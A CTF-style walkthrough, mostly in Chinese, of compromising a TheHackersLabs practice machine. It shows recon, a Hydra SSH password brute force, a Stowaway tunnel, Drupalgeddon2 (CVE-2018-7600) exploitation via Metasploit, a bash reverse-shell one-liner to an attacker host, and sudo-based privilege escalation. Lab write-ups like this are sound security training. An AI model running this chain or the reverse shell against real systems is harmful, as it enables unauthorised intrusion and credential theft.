Pa Que Aiga Lujo

https://labs.thehackerslabs.com/machine/125

Recon

PortScan

➜  PaQueAigaLujo nmap -sP 192.168.56.0/24  
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-27 23:36 CST
Nmap scan report for 192.168.56.1
Host is up (0.00053s latency).
MAC Address: 0A:00:27:00:00:08 (Unknown)
Nmap scan report for 192.168.56.2
Host is up (0.00041s latency).
MAC Address: 08:00:27:E9:F5:28 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.118
Host is up (0.00047s latency).
MAC Address: 08:00:27:33:D8:8F (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

➜  PaQueAigaLujo nmap -sT -min-rate 10000 -p- 192.168.56.118  
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-27 23:37 CST
Nmap scan report for 192.168.56.118
Host is up (0.0017s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:33:D8:8F (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 17.23 seconds

➜  PaQueAigaLujo nmap -sT -A -p 22,80 192.168.56.118                                                 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-27 23:37 CST
Nmap scan report for 192.168.56.118
Host is up (0.00061s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey: 
|   256 af:79:a1:39:80:45:fb:b7:cb:86:fd:8b:62:69:4a:64 (ECDSA)
|_  256 6d:d4:9d:ac:0b:f0:a1:88:66:b4:ff:f6:42:bb:f2:e5 (ED25519)
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-title: LuxeCollection - Art\xC3\xADculos de Lujo Exclusivos
|_http-server-header: Apache/2.4.62 (Debian)
MAC Address: 08:00:27:33:D8:8F (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.61 ms 192.168.56.118

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.62 seconds

枚举

HTTP

目录扫描

➜  PaQueAigaLujo feroxbuster --url http://192.168.56.118 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --filter-status 404,503,400
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://192.168.56.118
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
 💢  Status Code Filters   │ [404, 503, 400]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
403      GET        9l       28w      279c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404      GET        9l       31w      276c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET      168l      285w     2899c http://192.168.56.118/styles/components.css
200      GET      221l      524w     5600c http://192.168.56.118/scripts/main.js
200      GET      230l      445w     4172c http://192.168.56.118/styles/main.css
200      GET      231l      411w     3799c http://192.168.56.118/styles/responsive.css
301      GET        9l       28w      318c http://192.168.56.118/scripts => http://192.168.56.118/scripts/
301      GET        9l       28w      317c http://192.168.56.118/styles => http://192.168.56.118/styles/
200      GET      285l      778w    15656c http://192.168.56.118/
[####################] - 50s   220557/220557  0s      found:7       errors:0      
[####################] - 50s   220545/220545  4429/s  http://192.168.56.118/ 
[####################] - 0s    220545/220545  16965000/s http://192.168.56.118/scripts/ => Directory listing (add --scan-dir-listings to scan)
[####################] - 0s    220545/220545  13784062/s http://192.168.56.118/styles/ => Directory listing (add --scan-dir-listings to scan)

好一会没找到利用的点，但是可以注意到网页上有好几个用户名，收集起来尝试暴力破解

Carlos
Isabella
Alexandre
Miguel
Elena
Victoria
Anastasia
Sophia
James
Roberto
Catherine
Valentina
Priscilla
Beatrice
Margot
Alessandro
Marcus
Diego
Winston
Maximilian
carlos
isabella
alexandre
miguel
elena
victoria
anastasia
sophia
james
roberto
catherine
valentina
priscilla
beatrice
margot
alessandro
marcus
diego
winston
maximilian

得到密码 dolphins

➜  PaQueAigaLujo hydra -L user.txt -P /usr/share/wordlists/rockyou.txt -t 8 192.168.56.118 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-09-28 11:31:25
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 8 tasks per 1 server, overall 8 tasks, 301232379 login tries (l:21/p:14344399), ~37654048 tries per task
[DATA] attacking ssh://192.168.56.118:22/
[STATUS] 136.00 tries/min, 136 tries in 00:01h, 301232243 to do in 36915:43h, 8 active
[STATUS] 129.67 tries/min, 389 tries in 00:03h, 301231990 to do in 38718:46h, 8 active
[STATUS] 132.57 tries/min, 928 tries in 00:07h, 301231451 to do in 37870:20h, 8 active
[STATUS] 130.93 tries/min, 1964 tries in 00:15h, 301230415 to do in 38343:60h, 8 active
[STATUS] 132.19 tries/min, 4098 tries in 00:31h, 301228281 to do in 37978:12h, 8 active
[STATUS] 132.23 tries/min, 6215 tries in 00:47h, 301226164 to do in 37966:18h, 8 active
[STATUS] 132.21 tries/min, 8329 tries in 01:03h, 301224050 to do in 37973:59h, 8 active
[ssh] host: 192.168.56.118   login: Sophia   password: dolphins

提权 - cipote

信息收集

查看监听端口和IP 地址

Sophia@TheHackersLabs-PaQueAigaLujo:~$ ss -tulpn
Netid                  State                   Recv-Q                  Send-Q                                   Local Address:Port                                      Peer Address:Port                  Process                  
udp                    UNCONN                  0                       0                                              0.0.0.0:68                                             0.0.0.0:*                                              
tcp                    LISTEN                  0                       4096                                         127.0.0.1:38225                                          0.0.0.0:*                                              
tcp                    LISTEN                  0                       128                                            0.0.0.0:22                                             0.0.0.0:*                                              
tcp                    LISTEN                  0                       511                                                  *:80                                                   *:*                                              
tcp                    LISTEN                  0                       128                                               [::]:22                                                [::]:*                                              
Sophia@TheHackersLabs-PaQueAigaLujo:~$ ip add
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute 
       valid_lft forever preferred_lft forever
2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:33:d8:8f brd ff:ff:ff:ff:ff:ff
    inet 192.168.56.118/24 brd 192.168.56.255 scope global dynamic enp0s3
       valid_lft 590sec preferred_lft 590sec
    inet6 fe80::a00:27ff:fe33:d88f/64 scope link 
       valid_lft forever preferred_lft forever
3: docker0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:58:d5:83:85 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever
    inet6 fe80::42:58ff:fed5:8385/64 scope link 
       valid_lft forever preferred_lft forever
5: veth4a6f795@if4: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master docker0 state UP group default 
    link/ether 4a:10:44:5c:bf:f6 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet6 fe80::4810:44ff:fe5c:bff6/64 scope link 
       valid_lft forever preferred_lft forever

靶机中装了 Docker，但我们没有权限，并且在本地开了一个服务在 38225 端口，将其转发出来后没发现什么

枚举一下是否存在其他容器，发现 172.17.0.2

Sophia@TheHackersLabs-PaQueAigaLujo:/$ ping 172.17.0.2
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.124 ms
64 bytes from 172.17.0.2: icmp_seq=2 ttl=64 time=0.049 ms
^C
--- 172.17.0.2 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1028ms
rtt min/avg/max/mdev = 0.049/0.086/0.124/0.037 ms

代理搭建

这里使用 stowaway 进行隧道搭建，方便后续操作

// Kali
./linux_x64_admin -l 8000 -s 123
// Machine
./linux_x64_agent -c 192.168.56.5:8000 -s 123 &

然后设置 proxy 代理，之后可以通过代理来访问容器

(admin) >> use 0

(node 0) >> socks 2131
[*] Trying to listen on 0.0.0.0:2131......
[*] Waiting for agent's response......
[*] Socks start successfully!

Drupal 利用

容器运行着 Drupal

whatweb ，站点是 Drupal8

➜  PaQueAigaLujo proxychains whatweb 172.17.0.2
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain  ...  127.0.0.1:2131  ...  172.17.0.2:80  ...  OK
http://172.17.0.2 [200 OK] Apache[2.4.25], Content-Language[en], Country[RESERVED][ZZ], Drupal, HTML5, HTTPServer[Debian Linux][Apache/2.4.25 (Debian)], IP[172.17.0.2], MetaGenerator[Drupal 8 (https://www.drupal.org)], PHP[7.2.3], PoweredBy[-block], Script, Title[Welcome to Find your own Style | Find your own Style], UncommonHeaders[x-drupal-dynamic-cache,x-content-type-options,x-generator,x-drupal-cache], X-Frame-Options[SAMEORIGIN], X-Powered-By[PHP/7.2.3], X-UA-Compatible[IE=edge]

网上搜索 Drupal8 存在 RCE 漏洞：CVE-2018-7600

存在该漏洞

通过 MSF 进行利用

➜  PaQueAigaLujo proxychains -q msfconsole  

msf6 > search 2018-7600

Matching Modules
================

   #   Name                                      Disclosure Date  Rank       Check  Description
   -   ----                                      ---------------  ----       -----  -----------
   0   exploit/unix/webapp/drupal_drupalgeddon2  2018-03-28       excellent  Yes    Drupal Drupalgeddon 2 Forms API Property Injection
   1     \_ target: Automatic (PHP In-Memory)    .                .          .      .
   2     \_ target: Automatic (PHP Dropper)      .                .          .      .
   3     \_ target: Automatic (Unix In-Memory)   .                .          .      .
   4     \_ target: Automatic (Linux Dropper)    .                .          .      .
   5     \_ target: Drupal 7.x (PHP In-Memory)   .                .          .      .
   6     \_ target: Drupal 7.x (PHP Dropper)     .                .          .      .
   7     \_ target: Drupal 7.x (Unix In-Memory)  .                .          .      .
   8     \_ target: Drupal 7.x (Linux Dropper)   .                .          .      .
   9     \_ target: Drupal 8.x (PHP In-Memory)   .                .          .      .
   10    \_ target: Drupal 8.x (PHP Dropper)     .                .          .      .
   11    \_ target: Drupal 8.x (Unix In-Memory)  .                .          .      .
   12    \_ target: Drupal 8.x (Linux Dropper)   .                .          .      .
   13    \_ AKA: SA-CORE-2018-002                .                .          .      .
   14    \_ AKA: Drupalgeddon 2                  .                .          .      .
   
msf6 > use 0
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp

msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set payload php/reverse_php 
payload => php/reverse_php

msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set lhost 192.168.56.5
lhost => 192.168.56.5

msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set rhosts 172.17.0.2
rhosts => 172.17.0.2

成功拿到 shell

获得交互式 shell

存在用户 ballenita

ls /home
ballenita

查看数据库配置文件

cat /var/www/html/sites/default/settings.php

现在无法进行用户切换，以为现在并不是交互 shell，这个会话也无法获得交互 shell，要想个办法获得交互的 shell

通过 stowaway 设置端口转发

然后在会话中进行反弹 shell

/bin/bash -c 'bash -i >& /dev/tcp/172.17.0.1/6666 0>&1'

Kali 成功接收到 Shell ，该会话可以获得交互式 shell ：https://sunsetaction.top/2025/04/21/%E5%8F%8D%E5%BC%B9%20shell%20%E5%8D%87%E7%BA%A7/

成功切换到用户 ballenita

信息收集 - 2

查看 sudo 权限，可以读取任何文件

ballenita@76f1a1515e36:/var/www/html$ sudo -l
Matching Defaults entries for ballenita on 76f1a1515e36:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User ballenita may run the following commands on 76f1a1515e36:
    (root) NOPASSWD: /bin/ls, /bin/grep

root 目录下有可疑的文件，文件内容是 ElcipotedeChocolate-CipotitoCipoton

经过测试，是用户 cipote 的密码

读取 user.txt

cipote@TheHackersLabs-PaQueAigaLujo:~$ cat user.txt 
f3xxxxxxxxxxxxxxxxxxxxxxxxxxe8  -

提权 - root

查看 sudo 权限

cipote@TheHackersLabs-PaQueAigaLujo:~$ sudo -l
Matching Defaults entries for cipote on TheHackersLabs-PaQueAigaLujo:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User cipote may run the following commands on TheHackersLabs-PaQueAigaLujo:
    (ALL) NOPASSWD: /usr/bin/mount

结束

读取 root.txt

# cat /root/root.txt
9xxxxxxxxxxxxxxxxxxxxxx  -

总结

有意思

TheHackersLabs - Pa Que Aiga Lujo